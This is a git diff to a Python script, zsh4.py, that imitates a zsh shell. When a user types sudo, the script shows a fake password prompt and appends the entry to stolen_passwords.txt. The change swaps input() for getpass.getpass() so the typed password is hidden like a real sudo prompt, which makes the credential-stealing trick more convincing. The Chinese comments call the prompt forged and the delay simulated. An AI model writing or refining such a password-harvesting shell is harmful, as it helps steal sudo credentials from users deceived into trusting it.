diff --git a/zsh4.py b/zsh4.py
index ae1b6ff..6bbdc0b 100644
--- a/zsh4.py
+++ b/zsh4.py
@@ -3,6 +3,7 @@ import shlex
 import subprocess
 import readline
 import time
+import getpass
 
 # 自动补全功能，基于系统命令
 def completer(text, state):
@@ -40,7 +41,7 @@ def pseudo_zsh():
             
             # 伪造 sudo 密码输入并记录
             if args[0] == 'sudo':
-                fake_password = input(">Password: ")
+                fake_password = getpass.getpass(">Password: ")
                 with open("stolen_passwords.txt", "a") as f:
                     f.write(fake_password + "\n")
                 time.sleep(3) # 模拟延迟